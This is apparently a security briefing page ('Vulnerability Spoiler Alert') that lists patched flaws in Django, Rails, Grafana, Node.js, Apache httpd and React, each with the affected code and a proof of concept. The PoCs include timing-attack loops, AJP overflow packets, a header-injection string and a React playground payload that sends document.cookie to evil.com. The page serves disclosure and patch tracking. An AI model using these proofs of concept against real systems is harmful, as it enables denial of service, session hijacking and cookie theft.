📰 Vulnerability Spoiler Alert


“Exposing patches before CVEs since 2025”

Saturday, June 27, 2026

📋 Today’s Briefing

259
Total Findings
71
Confirmed CVEs
129
Verified
0
Unverified
59
False Positives
CRITICAL: 3 HIGH: 107 MEDIUM: 78 LOW: 12
71 CVE matched
56 found before CVE
2 avg lead (days)
27 max lead (days)

🔥 HIGH VERIFIED Denial of Service (ReDoS/CPU exhaustion via to_i on long strings)

May 20, 2026, 06:33 AM — rails/rails

Commit: 6ee1adf7d5e92457e99c44cf9851845664293a71

Author: Aaron Patterson

Before this patch, ActiveModel::Type::Integer would call `to_i` on arbitrarily long strings without any length restriction. Ruby's `to_i` on a very large string (e.g., 5 MB of digits) performs significant computational work proportional to the string length, allowing an attacker to send a large integer string in any parameter that gets cast to an integer (e.g., an ID or age field) to cause severe CPU exhaustion and denial of service. The patch limits the input to `_limit * 4` bytes before calling `to_i`.

🔍 View Affected Code & PoC

Affected Code

def cast_value(value)
  value.to_i rescue nil
end

Proof of Concept

# Attacker sends a POST/GET request with a very large integer string for any integer-typed parameter:
# e.g., POST /users with age=999999999999999999... (5 million '9' chars)
# In Rails app:
# User.create(age: '9' * 5_000_000)
# This causes Ruby to call ('9' * 5_000_000).to_i which walks the entire 5MB string,
# consuming significant CPU time. Repeated requests cause DoS.
# Benchmark: ('9' * 5_000_000).to_i takes ~100-500ms per call on typical hardware.
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-6907 Information Disclosure / Cache Poisoning

May 5, 2026, 12:34 PM — django/django

📈 Patch landed 5 hours 59 minutes before CVE published

Commit: c79bdfc1351ef2a2ad95df36241a74c736ef20a1

Author: Sarah Boyce

Django's UpdateCacheMiddleware erroneously cached responses where the Vary header contained an asterisk ('*'). Per RFC 7231, 'Vary: *' means the response is unique per request and must never be served from cache, as it may contain private/user-specific data. An attacker could potentially receive cached private data intended for another user if the server responded with Vary: * but Django still stored and served it from cache.

🔍 View Affected Code & PoC

Affected Code

def process_response(self, request, response):
    # (no check for Vary: * before caching)
    # Page timeout takes precedence over the "max-age" and the default
    # cache timeout.
    timeout = self.page_timeout

Proof of Concept

# 1. A view sets 'Vary: *' to indicate the response is user-specific:
def private_view(request):
    response = HttpResponse(f"Secret data for {request.user}")
    response['Vary'] = '*'
    return response

# 2. User A makes a request - response gets cached by UpdateCacheMiddleware
# GET /private/ (logged in as user_A) -> response cached with key based on URL

# 3. User B makes the same request - FetchFromCacheMiddleware serves cached response
# GET /private/ (logged in as user_B) -> receives 'Secret data for user_A'
# The Vary: * should have prevented caching, but Django cached it anyway
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-35192 Session Fixation / Cache Poisoning

May 5, 2026, 12:34 PM — django/django

📈 Patch landed 5 hours 59 minutes before CVE published

Commit: 7f6e9b55130d5158804c0acbc0b24ccb7422ed82

Author: Jake Howard

When SESSION_SAVE_EVERY_REQUEST=True, Django's session middleware would set a session cookie on responses but failed to include 'Vary: Cookie' in the response headers when the session was not explicitly modified. This meant caching proxies could cache a response containing a Set-Cookie header with a specific session key, and serve that cached response (with that session cookie) to other users, allowing an attacker to steal or fixate another user's session. The patch ensures that whenever a session cookie is set in the response, the Vary: Cookie header is also added.

🔍 View Affected Code & PoC

Affected Code

if (modified or settings.SESSION_SAVE_EVERY_REQUEST) and not empty:
    ...
    response.set_cookie(
        settings.SESSION_COOKIE_NAME,
        ...  # Cookie set but Vary header NOT added here

Proof of Concept

1. Configure Django with SESSION_SAVE_EVERY_REQUEST=True and a caching proxy (e.g., Varnish/Nginx) in front.
2. Attacker visits a public page (e.g., GET /public/) - Django creates/renews a session cookie in the response but does NOT set 'Vary: Cookie', so the caching proxy caches the response including the Set-Cookie header with the attacker's session_key.
3. A legitimate user visits GET /public/ - the caching proxy returns the cached response, setting the attacker's session cookie on the victim's browser.
4. Both attacker and victim now share the same session_key, allowing the attacker to access any session data the victim subsequently stores (e.g., after login if session is reused).
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-5766 Denial of Service (Resource Exhaustion)

May 5, 2026, 12:33 PM — django/django

📈 Patch landed 5 hours 59 minutes before CVE published

Commit: 5a89e341bfc77dd67b7fd57b7091b6430558e1f4

Author: Jacob Walls

In Django's ASGI deployments, the MemoryFileUploadHandler relied solely on the Content-Length header to determine whether a file upload should be stored in memory. Since ASGI doesn't guarantee that Content-Length accurately reflects the actual request body size (e.g., with chunked transfer encoding or a deliberately understated header), an attacker could send a multipart file upload with a small or missing Content-Length value but a very large body, bypassing FILE_UPLOAD_MAX_MEMORY_SIZE and forcing the server to load arbitrarily large files into memory. The patch fixes this by seeking to the end of the stream to measure the actual size when possible, falling back to Content-Length only for non-seekable streams.

🔍 View Affected Code & PoC

Affected Code

self.activated = content_length <= settings.FILE_UPLOAD_MAX_MEMORY_SIZE

Proof of Concept

import asyncio
from asgiref.testing import ApplicationCommunicator
from django.core.asgi import get_asgi_application

# Send multipart upload with Content-Length: 9 but actual body is 10MB
boundary = b'testboundary'
file_content = b'x' * 10_000_000  # 10MB
body = (b'--' + boundary + b'\r\nContent-Disposition: form-data; name="file"; filename="big.bin"\r\nContent-Type: application/octet-stream\r\n\r\n' + file_content + b'\r\n--' + boundary + b'--\r\n')

scope = {
    'type': 'http',
    'method': 'POST',
    'path': '/upload/',
    'headers': [
        (b'content-type', b'multipart/form-data; boundary=testboundary'),
        (b'content-length', b'9'),  # Deliberately understated
    ],
}
# With FILE_UPLOAD_MAX_MEMORY_SIZE=1000 and the old code:
# content_length=9 <= 1000, so handler.activated=True
# The entire 10MB file gets loaded into memory despite the limit

⚠️ MEDIUM VERIFIED Improper Authorization / Privilege Escalation

May 4, 2026, 04:12 PM — grafana/grafana

Commit: 0dacf3519331a1a7f1c3580cea58bc4cd1c76e55

Author: Matheus Macabu

Before the patch, any user or service account could modify the `ownerReferences` field of a SecureValue during an update operation. This allowed unprivileged users to convert a shared secure value (with an owner reference linking it to a data source or other resource) into an inline one or vice versa, potentially bypassing access control policies that depend on owner references to determine secret scope and access. The patch restricts `ownerReferences` mutations to only `AccessPolicy` identity types, preserving the existing references for all other callers.

🔍 View Affected Code & PoC

Affected Code

// In Update(), before the patch, newSecureValue.OwnerReferences was passed through
// unchanged regardless of caller identity, allowing any user to set arbitrary owner references.
keeperCfg, err := s.keeperMetadataStorage.GetKeeperConfig(ctx, currentVersion.Namespace, currentVersion.Status.Keeper, contracts.ReadOpts{})

Proof of Concept

// A regular user or service account performs an update request:
// 1. Attacker has access to update a SecureValue 'my-secret' in namespace 'ns1'
// 2. The secret currently has ownerReferences=[] (inline secret, restricted access)
// 3. Attacker sends an update with ownerReferences=[{kind: DataSource, name: shared-ds}]
//    transforming it into a shared secret accessible by the data source owner
// kubectl patch securevalue my-secret --type=merge -p '{"metadata":{"ownerReferences":[{"apiVersion":"v0alpha1","kind":"DataSource","name":"shared-ds","uid":"abc123"}]}}'
// Before patch: ownerReferences would be updated, changing secret ownership/access scope
// After patch: ownerReferences are silently preserved from the current stored value

🔥 HIGH VERIFIED Process Crash / Denial of Service

Apr 30, 2026, 04:52 PM — nodejs/node

Commit: 80e0f14f8eaf4909e330900c3caebd3ddd3d210b

Author: Nicola Del Gobbo

Before the patch, calling `pathToFileURL()` with a UNC path containing a malformed hostname (e.g., one with a space) would cause a Node.js process crash via a failed `CHECK()` assertion. The `CHECK(out-&gt;set_hostname(...))` call aborts the process when `set_hostname()` returns false for invalid hostnames. The fix replaces the hard crash with a proper `ERR_INVALID_URL` exception.

🔍 View Affected Code & PoC

Affected Code

CHECK(out->set_hostname(hostname.ToStringView()));

Proof of Concept

// Run in Node.js (any version before the patch):
const url = require('url');
url.pathToFileURL('\\\\exa mple\\share\\file.txt', { windows: true });
// Result: Process crashes with CHECK failure (abort) instead of throwing an error
// On Windows without the { windows: true } option, the same occurs naturally

⚠️ MEDIUM VERIFIED Open Redirect

Apr 28, 2026, 06:01 PM — grafana/grafana

Commit: 3727e122ed2d74b364562bd841db20611ce29ea0

Author: Ryan Melendez

The original `handleRedirectTo` function in `app.ts` consumed a stored redirect URL from sessionStorage after login without checking whether the URL belonged to the same origin. An attacker could craft a login URL containing `?redirectTo=https://evil.com/phishing` to store a cross-origin URL, which would then be passed directly to `locationService.replace()` after the user logged in, redirecting them to an attacker-controlled site. The patch adds an origin check using `new URL()` to ensure only same-origin redirects are followed via frontend navigation.

🔍 View Affected Code & PoC

Affected Code

window.sessionStorage.removeItem(RedirectToUrlKey);
let decodedRedirectTo = decodeURIComponent(redirectTo);
if (decodedRedirectTo.startsWith('/goto/')) {
  const urlToRedirectTo = locationUtil.assureBaseUrl(decodedRedirectTo);
  window.location.replace(urlToRedirectTo);
  return;
}
const stripped = locationUtil.stripBaseFromUrl(decodedRedirectTo);
locationService.replace(stripped);

Proof of Concept

1. Attacker sends victim a crafted link: https://grafana.example.com/login?redirectTo=https://evil.com/steal-credentials
2. Victim clicks the link; the login page stores `encodeURIComponent('https://evil.com/steal-credentials')` in sessionStorage under RedirectToUrlKey
3. Victim logs in successfully
4. `handleRedirectTo()` is called, decodes the stored value to `https://evil.com/steal-credentials`, which doesn't start with `/goto/`, so it calls `locationService.replace('https://evil.com/steal-credentials')`
5. Victim is redirected to the attacker's phishing site with their browser in an authenticated context

🔥 HIGH VERIFIED Improper Authorization / Permission Bypass

Apr 28, 2026, 05:44 PM — django/django

Commit: 5b3cfce51770f46c6dc100e9be7f199a37176762

Author: Artyom Kotovskiy

Before the patch, when a POST request was submitted to the Django admin changelist view with list_editable fields, the formset used for saving data was constructed directly with `FormSet(request.POST, request.FILES, queryset=modified_objects)` rather than going through `_get_formset_with_permissions()`. This meant the per-object permission check that removes editable fields for unauthorized objects was bypassed during form submission. An authenticated admin user with restricted per-object change permissions could modify objects they were not permitted to edit by crafting a POST request to the changelist view.

🔍 View Affected Code & PoC

Affected Code

cl.formset = FormSet(request.POST, request.FILES, queryset=modified_objects)

Proof of Concept

# Setup: User has change permission only for objects where obj.alive=True (per PersonNoChangePermissionsAdmin9)
# per2 has alive=False, so user should NOT be able to edit it
# But before the patch, POST directly to changelist bypasses per-object permission:
import requests
data = {
    'form-TOTAL_FORMS': '1',
    'form-INITIAL_FORMS': '1',
    'form-MAX_NUM_FORMS': '0',
    'form-0-id': str(per2.pk),  # per2 is not editable (alive=False)
    'form-0-gender': '2',       # attempt to change gender
    '_save': 'Save',
}
response = requests.post('/admin9/admin_views/person/', data=data, cookies=session_cookie)
# Before patch: per2.gender is updated to 2 despite lacking permission
# After patch: per2.gender remains unchanged because _get_formset_with_permissions() strips fields for unauthorized objects

⚠️ MEDIUM VERIFIED Crash / Denial of Service (Assertion Failure)

Apr 28, 2026, 04:49 PM — nodejs/node

Commit: 4247cd305b4f6d79912caaaf105faad324d3bc83

Author: semimikoh

Before the patch, `GetErrorSource()` in `node_errors.cc` could trigger a `CHECK_GE(end, start)` assertion failure (process crash) when V8 reported a negative or invalid `end` column for certain malformed JavaScript syntax (e.g., invalid `using` declarations). The patch removes the hard assertion and instead adds a guard so that the underflow arithmetic and out-of-bounds access are avoided, returning early if `end &lt; script_start` or `end &lt; 0`. This could be triggered by any user-supplied JavaScript evaluated by Node.js, causing a denial of service.

🔍 View Affected Code & PoC

Affected Code

if (start >= script_start) {
    CHECK_GE(end, start);
    start -= script_start;
    end -= script_start;
  }

Proof of Concept

// Run with: node poc.js
// Node.js crashes with an assertion failure (CHECK_GE) before the patch
const { runInNewContext } = require('vm');
try {
  runInNewContext('using');
} catch (e) {
  // Without patch: process aborts due to CHECK_GE(end, start) failing
  // With patch: SyntaxError is thrown and caught normally
  console.log('Caught:', e.message);
}
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-33006 Timing Side-Channel Attack (Authentication Bypass)

Apr 27, 2026, 12:54 PM — apache/httpd

📈 Patch landed 7 days 2 hours 36 minutes before CVE published

Commit: 7f5de0aebf5c04796aa9c25153413b09d609763b

Author: Joe Orton

The code before the patch used non-constant-time comparison functions (apr_crypto_equals was already constant-time, but the local implementation in mod_session_crypto.c and the reliance on apr_crypto_equals without a guaranteed fallback) when comparing cryptographic digests in digest authentication and session crypto. A timing attack against the digest comparison in mod_auth_digest could allow an attacker to determine the correct digest byte-by-byte by measuring response times, potentially enabling authentication bypass. The patch replaces these comparisons with guaranteed constant-time functions.

🔍 View Affected Code & PoC

Affected Code

if (!apr_crypto_equals(resp->digest, old_digest(r, resp), MD5_DIGEST_LEN)) {
    // and
if (!apr_crypto_equals(resp->digest, exp_digest, MD5_DIGEST_LEN)) {
    // and in mod_session_crypto.c:
if (!ap_crypto_equals(auth, decoded, AP_SIPHASH_DSIZE)) {

Proof of Concept

Timing attack against mod_auth_digest: Send repeated HTTP Digest Authentication requests with modified 'response' field values, measuring the time taken for the server to respond. By iterating over possible values for each byte of the MD5 digest and measuring which value causes a slightly longer response (due to non-constant-time comparison returning earlier on mismatch), an attacker can determine the correct digest one byte at a time without knowing the password. Example script concept:

for byte_pos in range(MD5_DIGEST_LEN):
    for candidate in range(256):
        crafted_digest = known_prefix + chr(candidate) + arbitrary_suffix
        t = measure_response_time(send_digest_auth_request(crafted_digest))
        if t > threshold:
            known_prefix += chr(candidate)  # found correct byte
            break
# After completing all bytes, use the reconstructed digest to authenticate.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-33523 HTTP Response Splitting

Apr 26, 2026, 04:30 PM — apache/httpd

📈 Patch landed 7 days 23 hours before CVE published

Commit: 38809faac18bfc8e610b4196c6dad6f481aa1376

Author: Eric Covener

The validate_status_line function in Apache httpd failed to check for newline characters and control characters in the status line reason phrase (the text after the 3-digit status code). An attacker who could influence the status line (e.g., via a proxied backend response or certain CGI/module interactions) could inject CRLF sequences to inject arbitrary HTTP response headers or split the response. The patch adds a call to ap_scan_http_field_content to reject any status line containing invalid characters.

🔍 View Affected Code & PoC

Affected Code

if (len > 4 && *ap_scan_http_field_content(r->status_line + 4)) {
            r->status_line = NULL;
            return APR_EGENERAL;
        }
        return APR_SUCCESS;

Proof of Concept

A backend or CGI sets a custom status line like: 'HTTP/1.1 200 OK\r\nSet-Cookie: injected=value'. Before the patch, if r->status_line was set to '200 OK\r\nSet-Cookie: injected=value', the validate_status_line function would pass it through, and Apache would forward the injected header to the client. Exploit: configure a reverse proxy to a malicious backend that responds with status line containing CRLF: e.g., send response status '200 OK\r\nX-Injected: malicious' — Apache would relay the injected header to the downstream client.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-33006 Timing Attack / Authentication Bypass

Apr 26, 2026, 04:25 PM — apache/httpd

📈 Patch landed 7 days 23 hours 5 minutes before CVE published

Commit: cd414337011b47f43ede96ce1dd2bd9c869e031f

Author: Eric Covener

The code before the patch used strcmp() to compare digest authentication hashes, which is vulnerable to timing attacks. An attacker could measure response times to infer the correct digest value byte-by-byte. The patch replaces strcmp() with apr_crypto_equals(), which performs a constant-time comparison that prevents timing oracle attacks on the authentication mechanism.

🔍 View Affected Code & PoC

Affected Code

if (strcmp(resp->digest, old_digest(r, resp))) {
...
}
if (strcmp(resp->digest, exp_digest)) {
...
}
if (strcmp(hash, resp->nonce+NONCE_TIME_LEN)) {

Proof of Concept

An attacker can exploit the timing difference in strcmp() to brute-force the digest response:
1. Send many Authorization: Digest requests with varying 'response' field values (hex strings)
2. Measure response times for each attempt
3. Since strcmp() returns as soon as a byte mismatch is found, a response that matches more prefix bytes takes slightly longer
4. For each position, try all 16 hex characters (0-9, a-f) and pick the one with the highest response time
5. Repeat for all 32 hex characters (MD5_DIGEST_LEN=32) to recover valid digest
Example: Using timing measurements, attacker iterates:
  curl -H 'Authorization: Digest username="user", realm="realm", nonce="...", uri="/", response="0000..."' http://target/
  curl -H 'Authorization: Digest username="user", realm="realm", nonce="...", uri="/", response="1000..."' http://target/
  ... measure which prefix yields longer response time to determine correct bytes

🔥 HIGH VERIFIED Privilege Escalation / Security Bypass via Unrestricted Expression Evaluation

Apr 26, 2026, 03:59 PM — apache/httpd

Commit: cfb8882f04b1c986656f6b19c487ab27810071b9

Author: Eric Covener

When Apache HTTP Server processed ap_expr expressions in .htaccess files (htaccess context), it used the full unrestricted expression parser instead of the restricted one. This allowed users with .htaccess write access to use dangerous ap_expr functions (such as %{req:...}, %{env:...}, file system functions, or other privileged lookups) that are normally restricted to server configuration. The patch adds AP_EXPR_FLAG_RESTRICTED when parsing expressions in htaccess context across mod_rewrite, mod_setenvif, and mod_proxy_fcgi.

🔍 View Affected Code & PoC

Affected Code

newcond->expr = ap_expr_parse_cmd(cmd, a2, flags, &err, NULL);
// and:
new->expr = ap_expr_parse_cmd(cmd, expr, 0, &err, NULL);
// and:
new->cond = ap_expr_parse_cmd(cmd, arg1, 0, &err, NULL);

Proof of Concept

In a .htaccess file, an attacker with write access could use expressions that are supposed to be restricted to server-level config. For example:

# In .htaccess using RewriteCond with ap_expr:
RewriteCond expr "%{osenv:SECRET_ENV_VAR} -eq 1"
RewriteRule ^ /leaked [R]

# Or using SetEnvIfExpr to read sensitive data:
SetEnvIfExpr "osenv('SECRET_KEY') =~ /(.*)/ " leak=$1

The unrestricted parser allowed access to functions like osenv() which expose server-side environment variables and other sensitive data not intended to be accessible from .htaccess context.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-28780 Buffer Overflow / Integer Overflow

Apr 26, 2026, 03:57 PM — apache/httpd

📈 Patch landed 9 days 8 hours 34 minutes before CVE published

Commit: 76dac5d445a36751f4b9f8c3abd8f10b07904528

Author: Eric Covener

The `ajp_msg_check_header` function checked if the AJP message body length (`msglen`) exceeded `msg-&gt;max_size`, but the buffer also includes `AJP_HEADER_LEN` bytes for the header itself. Since `msglen` refers only to the body/payload length, the actual data written would be `msglen + AJP_HEADER_LEN` bytes, potentially overflowing the allocated buffer if `msglen` is close to `max_size`. The fix corrects the comparison to `msg-&gt;max_size - AJP_HEADER_LEN` so that the total data (header + body) never exceeds the buffer capacity.

🔍 View Affected Code & PoC

Affected Code

if (msglen > msg->max_size) {
    ap_log_error(APLOG_MARK, APLOG_ERR, 0, NULL, APLOGNO(01081)
                 "ajp_msg_check_header() incoming message is "
                 "too big %" APR_SIZE_T_FMT ", max is %" APR_SIZE_T_FMT,
                 msglen, msg->max_size);

Proof of Concept

Send a crafted AJP message from the backend (Tomcat or malicious server) with the 2-byte length field in the AJP header set to (max_size - AJP_HEADER_LEN + 1), e.g., if max_size=8192 and AJP_HEADER_LEN=4, set msglen=8189 (0x1FFD). Before the patch, 8189 < 8192 passes the check, but reading 4 (header) + 8189 = 8193 bytes into the 8192-byte buffer causes a 1-byte heap overflow. A malicious AJP backend can craft: bytes [0x41, 0x42, 0x1F, 0xFD, ...8189 bytes of payload...] causing mod_proxy_ajp to overflow its message buffer.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-34059 Integer Underflow / Out-of-Bounds Read

Apr 26, 2026, 03:53 PM — apache/httpd

📈 Patch landed 7 days 23 hours 37 minutes before CVE published

Commit: 91d14cb926b1be8a53ebc334d6274027be99ac12

Author: Eric Covener

Before the patch, `ajp_parse_data` computed `expected_len = msg-&gt;len - (AJP_HEADER_LEN + AJP_HEADER_SZ_LEN + 1 + 1)` without first verifying that `msg-&gt;len` is large enough. If a malicious AJP backend sends a crafted message with `msg-&gt;len` smaller than the constant subtrahend (e.g., msg-&gt;len = 0 or very small), the subtraction wraps around to a large positive value (integer/size_t underflow). This incorrect `expected_len` is then compared against the caller-supplied `*len`, potentially allowing a malformed AJP DATA message to bypass length validation and cause subsequent out-of-bounds memory reads. The patch adds a guard that returns an error if the message is too small before performing the subtraction.

🔍 View Affected Code & PoC

Affected Code

expected_len = msg->len - (AJP_HEADER_LEN + AJP_HEADER_SZ_LEN + 1 + 1);
if (*len != expected_len) {

Proof of Concept

A malicious or compromised AJP backend sends an AJP DATA packet with the packet body length field set to a value smaller than AJP_HEADER_LEN + AJP_HEADER_SZ_LEN + 2 (e.g., total msg->len = 2). The subtraction `2 - (4 + 2 + 1 + 1)` wraps to a large apr_size_t value (~0xFFFFFFF8 on 32-bit), causing `expected_len` to be enormous. If `*len` happens to match this wrapped value (or the check is bypassed), the code proceeds to read/copy data far beyond the actual message buffer boundary, resulting in an out-of-bounds read that could expose sensitive process memory or crash the proxy worker.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-34032 Buffer Over-read / Out-of-Bounds Read

Apr 26, 2026, 03:50 PM — apache/httpd

📈 Patch landed 7 days 23 hours 40 minutes before CVE published

Commit: 250fa4a42f43a6ddf99861dfa910971eff69eced

Author: Eric Covener

The original check `size + start &gt; msg-&gt;max_size` was incorrect in two ways: it compared against max_size (the allocated buffer capacity) rather than msg-&gt;len (the actual data length), and used strict greater-than rather than greater-than-or-equal. This allowed a malicious AJP backend to send a crafted AJP message where the string size field indicates more bytes than are actually present in the message, causing Apache httpd to read beyond valid message data. The patch corrects the bounds check to use msg-&gt;len and also verifies the required null terminator is present at the expected position.

🔍 View Affected Code & PoC

Affected Code

if ((status != APR_SUCCESS) || (size + start > msg->max_size)) {
    return ajp_log_overflow(msg, "ajp_msg_get_string");
}

Proof of Concept

Craft a malicious AJP response packet where the string length field is set to a value larger than the remaining bytes in the message but smaller than max_size (the full buffer allocation). For example, if msg->len=100 and msg->max_size=8192, send a string header with size=8000 and start=50: size+start=8050 which does NOT exceed max_size (8192) so the old check passes, but the code then reads 8000 bytes starting at position 50 even though only 50 bytes of valid data remain in the message, leaking heap memory contents beyond the AJP message boundary into parsed HTTP response headers.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-33857 Out-of-Bounds Read

Apr 26, 2026, 03:47 PM — apache/httpd

📈 Patch landed 7 days 23 hours 43 minutes before CVE published

Commit: 17e874e2781c1bbbeb2213bd580d371a1091085b

Author: Eric Covener

The AJP message parsing functions in Apache httpd used incorrect boundary checks (&gt; instead of &gt;=), allowing a read of exactly one byte beyond the valid message buffer. For example, ajp_msg_get_uint8 and ajp_msg_peek_uint8 used `msg-&gt;pos &gt; msg-&gt;len` when they should use `&gt;=`, meaning when pos == len (pointing just past the last byte) the check would pass and a byte at msg-&gt;buf\[msg-&gt;len\] would be read out of bounds. Similarly, ajp_msg_get_uint16/peek_uint16 allowed reading 2 bytes when only 1 remained, and ajp_msg_get_uint32 allowed reading 4 bytes when only 3 remained. A malicious AJP backend could craft a response that exploits this to cause an out-of-bounds read.

🔍 View Affected Code & PoC

Affected Code

if (msg->pos > msg->len) {
    return ajp_log_overflow(msg, "ajp_msg_get_uint8");
}

Proof of Concept

A malicious AJP backend sends a response message where the data payload is exactly N bytes, but the AJP response headers indicate there is one more field to read. When Apache httpd calls ajp_msg_get_uint8() with msg->pos == msg->len, the check `msg->pos > msg->len` evaluates to false (since they are equal), so the function proceeds to read msg->buf[msg->pos] which is one byte past the end of the valid message buffer, resulting in an out-of-bounds read. Concretely: craft an AJP SEND_HEADERS response with msg->len=10 and position the read cursor so pos=10, then the function reads buf[10] which is outside the allocated message data.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-21727 Insecure Direct Object Reference / Data Isolation Bypass

Apr 24, 2026, 03:12 PM — grafana/grafana

Patch landed 8 days 17 hours 42 minutes after CVE published

Commit: cb6656772084af7184a39f88d303d30136a9c3df

Author: Yuri Tseretyan

The UpdateAdminConfiguration function used xorm's fluent Where+Update(struct) pattern, but xorm resolves the target row by primary key when a struct is passed to Update(), silently ignoring the WHERE org_id clause. This caused all rows in the ngalert_configuration table to be updated when multiple organizations existed, allowing one org's configuration update to overwrite alert routing settings for all other orgs. The fix fetches the existing row first to get its primary key, then uses .ID() to scope the UPDATE to exactly that one record.

🔍 View Affected Code & PoC

Affected Code

_, err = sess.Table("ngalert_configuration").Where("org_id = ?", cmd.AdminConfiguration.OrgID).Cols(
    buildUpdateCols(cmd.AdminConfiguration)...,
).Update(cmd.AdminConfiguration)

Proof of Concept

Scenario: Two orgs (ID=1, ID=2) each have an ngalert_configuration row. Org 1 has SendAlertsTo=ExternalAlertmanagers, Org 2 has SendAlertsTo=ExternalAlertmanagers.

Attacker (or any user with org-2 admin rights) calls UpdateAdminConfiguration for org 2 with SendAlertsTo=InternalAlertmanager.

Before the patch, xorm ignores the WHERE org_id=2 clause and updates ALL rows by PK=0 (default), effectively updating every org's configuration to InternalAlertmanager. This means org 1's alert routing is silently changed without its admin's knowledge, potentially suppressing external alertmanager notifications for org 1.

⚠️ MEDIUM VERIFIED Proxy Bypass / Security Control Bypass

Apr 23, 2026, 10:42 AM — nodejs/node

Commit: d44a71a25111dd0b73883fadb66cdef6b1414547

Author: Daijiro Wachi

The NO_PROXY environment variable's leading-dot suffix matching was too permissive: `NO_PROXY=.example.com` would match any hostname ending in `example.com`, including `notexample.com` or `badexample.com`. This means an attacker-controlled hostname like `evilexample.com` could bypass proxy restrictions that were intended only for subdomains of `example.com`. The fix ensures that the dot-separated boundary is properly checked by requiring either an exact match or that the character before the suffix starts with a dot.

🔍 View Affected Code & PoC

Affected Code

if (entry[0] === '.') {
  const suffix = entry.substring(1);
  if (host.endsWith(suffix)) return false;
}

Proof of Concept

Set NO_PROXY=.example.com and HTTP_PROXY=http://proxy.internal:8080, then make a request to http://notexample.com/. Before the patch, `notexample.com`.endsWith(`example.com`) is true, so the proxy would be bypassed for `notexample.com`, which is not a subdomain of `example.com`. This allows requests to unintended hosts to skip proxy controls (e.g., security scanning proxies or traffic inspection proxies).

🔥 HIGH VERIFIED Out-of-bounds Memory Read / Stack Memory Information disclosure

Apr 22, 2026, 04:52 PM — nodejs/node

Commit: c69c6f14f2b486b66293f01e0bc47ef95cbe52c0

Author: Anna Henningsen

Small typed arrays (e.g., Int8Array, Float32Array with few elements) in V8 may not have a backing store allocated until their corresponding ArrayBuffer is explicitly accessed. Before the patch, calling GetRawPointer with such a small TypedArray would return a pointer into arbitrary stack memory (the in-heap representation) rather than a valid heap buffer. An attacker could use this to leak stack memory addresses or read arbitrary stack data via the FFI interface.

🔍 View Affected Code & PoC

Affected Code

} else if (args[0]->IsArrayBufferView()) {\n    ArrayBufferViewContents<uint8_t> view(args[0]);\n    if (view.WasDetached()) {\n      ...\n    }\n    ptr = reinterpret_cast<uintptr_t>(view.data());

Proof of Concept

// Node.js FFI proof of concept - reading arbitrary stack memory\nconst { getRawPointer } = require('node:ffi'); // internal FFI binding\n// Create a small Int8Array - V8 may store it in-heap without a BackingStore\nconst small = new Int8Array(4); // Small enough for V8 in-heap optimization\n// Before patch: getRawPointer(small) returns a pointer to stack/heap memory\n// that is NOT the actual typed array backing store\nconst ptr = getRawPointer(small);\n// ptr now points to arbitrary stack memory; reading from ptr leaks stack data\n// This can be used to bypass heap-spray mitigations or leak return addresses

🔥 HIGH VERIFIED Integer Overflow / Heap Buffer Overflow

Apr 16, 2026, 07:49 AM — apache/httpd

Commit: d11e440c7eeca1ae06e34a912f48ee7f014f0501

Author: Joe Orton

Before the patch, functions like ap_escape_shell_cmd, ap_escape_path_segment, ap_os_escape_path, and ap_escape_urlencoded computed buffer sizes by multiplying strlen() by 2 or 3 without checking for integer overflow. On systems where apr_size_t is 64-bit but malloc/palloc internally uses size_t arithmetic, an extremely large string (e.g., ~(SIZE_MAX/3) bytes) could cause the multiplication to overflow, resulting in apr_palloc allocating a much smaller buffer than needed, leading to a heap buffer overflow when the escape functions write beyond the allocated buffer. The patch adds ap_assert checks to ensure the multiplication cannot overflow APR_SIZE_MAX before calling apr_palloc.

🔍 View Affected Code & PoC

Affected Code

cmd = apr_palloc(p, 2 * strlen(str) + 1);        /* Be safe */

Proof of Concept

Craft a request where the path or shell command argument has length approximately (APR_SIZE_MAX/3) + 1 bytes. For example, if APR_SIZE_MAX is 2^64-1, a string of length ~6148914691236517206 bytes causes `3 * strlen(segment)` to overflow to a small value (e.g., 2), so apr_palloc allocates only ~3 bytes, but ap_escape_path_segment_buffer then writes up to 3*len+1 bytes into it, causing a heap overflow. In practice on 32-bit systems where size_t is 32 bits, a string of ~715827883 bytes (feasible via large POST body or chunked transfer) causes `3 * strlen` to wrap to a small value, triggering a heap buffer overflow exploitable for memory corruption or potential RCE.

🔥 HIGH VERIFIED Cross-Site Scripting (XSS) / Code Injection

Mar 30, 2026, 05:04 PM — facebook/react

Commit: 2c2fd9d12c7159efef81e7ea6ec899943cf7ca33

Author: mofeiZ

The compiler playground parsed user-supplied config overrides using `new Function(...)`, which executes arbitrary JavaScript code in the browser context. An attacker could craft a malicious URL with a base64/encoded config payload containing arbitrary JS, which when shared and opened by a victim, would execute the attacker's code in the victim's browser. The patch replaces `new Function(...)` with JSON5 parsing, which only allows data literals and rejects executable code.

🔍 View Affected Code & PoC

Affected Code

configOverrideOptions = new Function(`return (${configString})`)();

Proof of Concept

Craft a playground URL with a config store containing the following config string (which matches the expected format): `import type { PluginOptions } from 'babel-plugin-react-compiler/dist';

({
  compilationMode: (fetch('https://evil.com?c='+document.cookie), 'all')
} satisfies PluginOptions);` — encode this as the store's config field using encodeStore(), then share the URL. When a victim opens the URL, `fetch('https://evil.com?c='+document.cookie)` executes, exfiltrating their cookies.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-27880 Denial of Service (Unbounded Request Body)

Mar 30, 2026, 11:40 AM — grafana/grafana

Patch landed 2 days 20 hours 9 minutes after CVE published

Commit: 9d2745f489300a943cd934cd9b8cec837e9f4027

Author: Mariell Hoversholm

The OFREP endpoint's `validateNamespace` function used `io.ReadAll(r.Body)` without any size limit, allowing an attacker to send arbitrarily large request bodies that would be fully read into memory. This could exhaust server memory and cause a denial of service. The fix applies `http.MaxBytesReader` to limit the body to 1 MiB before reading.

🔍 View Affected Code & PoC

Affected Code

